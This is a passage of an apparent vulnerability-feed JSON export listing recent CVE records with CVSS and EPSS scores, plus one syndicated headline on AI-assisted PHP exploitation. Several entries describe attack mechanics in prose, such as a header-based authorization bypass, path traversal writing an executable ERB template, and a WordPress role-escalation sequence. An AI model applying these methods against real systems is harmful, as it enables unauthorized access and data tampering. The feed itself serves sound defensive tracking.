score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114191","cveId":"CVE-2026-114191","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Knit Pay UPI QR Code Payment Gateway for WooCommerce upi-qr-code-payment-for-woocommerce allows Exploiting Incorrectly Configured Access...","summary":"Missing Authorization vulnerability in Knit Pay UPI QR Code Payment Gateway for WooCommerce upi-qr-code-payment-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UPI QR Code Payment Gateway for WooCommerce: from n/a through 1.6.3.","detail":"Missing Authorization vulnerability in Knit Pay UPI QR Code Payment Gateway for WooCommerce upi-qr-code-payment-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects UPI QR Code Payment Gateway for WooCommerce: from n/a through 1.6.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T14:16:38.870Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114191","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00336,"percentile":0.2671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114191&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114191","type":"primary","publishedAt":"2026-10-24T14:16:38.870Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114191&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114191, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116019","cveId":"CVE-2026-116019","aliases":[],"kind":"vulnerability","title":"Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-*@ directives with...","summary":"Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-*@ directives with unset-name@ or integer keys. Attackers with page-edit permission can embed crafted fields in Flex form overrides in page frontmatter to call methods like Folder::delete or Utils::download, deleting directories, overwriting files, or reading files outside the page tree.","detail":"Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-*@ directives with unset-name@ or integer keys. Attackers with page-edit permission can embed crafted fields in Flex form overrides in page frontmatter to call methods like Folder::delete or Utils::download, deleting directories, overwriting files, or reading files outside the page tree.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T12:16:58.473Z","updatedAt":"2026-10-26T18:17:43.013Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116019","asOf":"2026-10-26T18:17:43.013Z"},"epss":{"probability":0.00349,"percentile":0.2822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116019&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116019","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116019","type":"primary","publishedAt":"2026-10-24T12:16:58.473Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116019&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116019, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116016","cveId":"CVE-2026-116016","aliases":[],"kind":"vulnerability","title":"yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a...","summary":"yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a data-permission-enable header set to false. Attackers can add this header to /admin-api requests, which DataPermissionRpcWebFilter trusts, to read or modify other departments' and users' records within the same tenant.","detail":"yudao-cloud through 2026.09 contains an authorization bypass vulnerability that allows authenticated users to evade row-level data scope restrictions by sending a data-permission-enable header set to false. Attackers can add this header to /admin-api requests, which DataPermissionRpcWebFilter trusts, to read or modify other departments' and users' records within the same tenant.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T12:16:57.960Z","updatedAt":"2026-10-26T17:12:19.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116016","asOf":"2026-10-26T17:12:19.490Z"},"epss":{"probability":0.00254,"percentile":0.16865,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116016","type":"primary","publishedAt":"2026-10-24T12:16:57.960Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116011","cveId":"CVE-2026-116011","aliases":[],"kind":"vulnerability","title":"Crow before 1.3.4 contains an uncontrolled recursion vulnerability in crow::json::load() that allows remote unauthenticated attackers to crash the server by sending deeply nested...","summary":"Crow before 1.3.4 contains an uncontrolled recursion vulnerability in crow::json::load() that allows remote unauthenticated attackers to crash the server by sending deeply nested JSON. Attackers can send a request body with thousands of nested objects to exhaust the worker thread stack, terminating the process and dropping all connections.","detail":"Crow before 1.3.4 contains an uncontrolled recursion vulnerability in crow::json::load() that allows remote unauthenticated attackers to crash the server by sending deeply nested JSON. Attackers can send a request body with thousands of nested objects to exhaust the worker thread stack, terminating the process and dropping all connections.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T12:16:57.070Z","updatedAt":"2026-10-26T18:17:42.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116011","asOf":"2026-10-26T18:17:42.707Z"},"epss":{"probability":0.00683,"percentile":0.52238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116011&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116011","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116011","type":"primary","publishedAt":"2026-10-24T12:16:57.070Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116011&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116011, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116009","cveId":"CVE-2026-116009","aliases":[],"kind":"vulnerability","title":"Camaleon CMS before 2.9.3 contains a path traversal vulnerability that allows users with only the media permission to write arbitrary files by supplying ../ sequences in the name...","summary":"Camaleon CMS before 2.9.3 contains a path traversal vulnerability that allows users with only the media permission to write arbitrary files by supplying ../ sequences in the name parameter. Attackers can send a base64 data: URI to the crop_url media action to write an ERB template into a theme's views directory, which executes when rendered.","detail":"Camaleon CMS before 2.9.3 contains a path traversal vulnerability that allows users with only the media permission to write arbitrary files by supplying ../ sequences in the name parameter. Attackers can send a base64 data: URI to the crop_url media action to write an ERB template into a theme's views directory, which executes when rendered.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T12:16:56.640Z","updatedAt":"2026-10-26T18:17:42.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116009","asOf":"2026-10-26T18:17:42.563Z"},"epss":{"probability":0.00424,"percentile":0.36414,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-116009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116009","type":"primary","publishedAt":"2026-10-24T12:16:56.640Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-116009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-116009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110018","cveId":"CVE-2026-110018","aliases":[],"kind":"vulnerability","title":"The aBlocks – Gutenberg Blocks, User Dashboard Builder, Popup Builder, Form Builder & Animation Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions...","summary":"The aBlocks – Gutenberg Blocks, User Dashboard Builder, Popup Builder, Form Builder & Animation Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.17.0 via the `/ablocks/v1/form-builder/registration` REST endpoint. The vulnerability exists because the endpoint is registered with `permission_callback => __return_true` and the `register()` handler reads `roleSlug` directly from attacker-controlled block attributes in `post_content` without ever verifying that the block's `formType` is `registration` — a condition that `RegistrationFormSanitizer::verify()` imposes only at save-time, meaning a Contributor can preserve an arbitrary `roleSlug` by saving a block with `formType='login'` and then triggering the endpoint via a valid `wp_rest` nonce and post-ownership check. This makes it possible for authenticated attackers, with Contributor-level access and above, to escalate their WordPress role to Editor or any other non-administrator role and receive a fully authenticated session at the elevated privilege level via `WP_User::set_role()` and `wp_set_auth_cookie()`. Escalation is bounded below administrator-tier roles because `is_safe_registration_role()` rejects any role holding `manage_options`, `edit_users`, `delete_users`, `create_users`, `promote_users`, or `edit_theme_options`, meaning the highest practically reachable role on a standard WordPress installation is Editor.","detail":"The aBlocks – Gutenberg Blocks, User Dashboard Builder, Popup Builder, Form Builder & Animation Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 2.17.0 via the `/ablocks/v1/form-builder/registration` REST endpoint. The vulnerability exists because the endpoint is registered with `permission_callback => __return_true` and the `register()` handler reads `roleSlug` directly from attacker-controlled block attributes in `post_content` without ever verifying that the block's `formType` is `registration` — a condition that `RegistrationFormSanitizer::verify()` imposes only at save-time, meaning a Contributor can preserve an arbitrary `roleSlug` by saving a block with `formType='login'` and then triggering the endpoint via a valid `wp_rest` nonce and post-ownership check. This makes it possible for authenticated attackers, with Contributor-level access and above, to escalate their WordPress role to Editor or any other non-administrator role and receive a fully authenticated session at the elevated privilege level via `WP_User::set_role()` and `wp_set_auth_cookie()`. Escalation is bounded below administrator-tier roles because `is_safe_registration_role()` rejects any role holding `manage_options`, `edit_users`, `delete_users`, `create_users`, `promote_users`, or `edit_theme_options`, meaning the highest practically reachable role on a standard WordPress installation is Editor.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T12:16:54.783Z","updatedAt":"2026-10-26T18:17:34.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110018","asOf":"2026-10-26T18:17:34.883Z"},"epss":{"probability":0.00387,"percentile":0.32477,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110018","type":"primary","publishedAt":"2026-10-24T12:16:54.783Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"wired-kernel-panic-the-php-meltdown-shows-how-ai-makes-bugs-more-exploitable-cc8e1455e2bf","cveId":null,"aliases":[],"kind":"vulnerability","title":"The PHP Meltdown Shows How AI Makes Bugs More Exploitable","summary":"Security researchers used AI tools to help uncover years-old vulnerabilities in the PHP web scripting language. Then the AI-assisted attacks began.","detail":"Security researchers used AI tools to help uncover years-old vulnerabilities in the PHP web scripting language. Then the AI-assisted attacks began.\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-24T12:00:00.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"WIRED Security: The PHP Meltdown Shows How AI Makes Bugs More Exploitable","url":"https://www.wired.com/story/kernel-panic-the-php-meltdown-shows-how-ai-makes-bugs-more-exploitable/","type":"reporting","publishedAt":"2026-10-24T12:00:00.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"WIRED Security syndication feed","url":"https://www.wired.com/feed/category/security/latest/rss","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115975","cveId":"CVE-2026-115975","aliases":[],"kind":"vulnerability","title":"Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects","summary":"Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects","detail":"Broken access control in JiraController in Cervantes version v1.3-beta could allow an attacker to create, edit, or delete Jira tickets for vulnerabilities in other projects\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:52.630Z","updatedAt":"2026-10-26T14:20:46.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Atlassian"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115975","asOf":"2026-10-26T14:20:46.557Z"},"epss":{"probability":0.00215,"percentile":0.11765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115975","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115975","type":"primary","publishedAt":"2026-10-24T08:16:52.630Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114697","cveId":"CVE-2026-114697","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuarkA QA Analytics qa-heatmap-analytics allows Stored XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuarkA QA Analytics qa-heatmap-analytics allows Stored XSS.This issue affects QA Analytics: from n/a through 5.3.0.1.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in QuarkA QA Analytics qa-heatmap-analytics allows Stored XSS.This issue affects QA Analytics: from n/a through 5.3.0.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-24T08:16:52.490Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114697","asOf":"2026-10-26T13:41:11.497Z"},"epss":{"probability":0.00205,"percentile":0.10344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114697&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114697","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114697","type":"primary","publishedAt":"2026-10-24T08:16:52.490Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 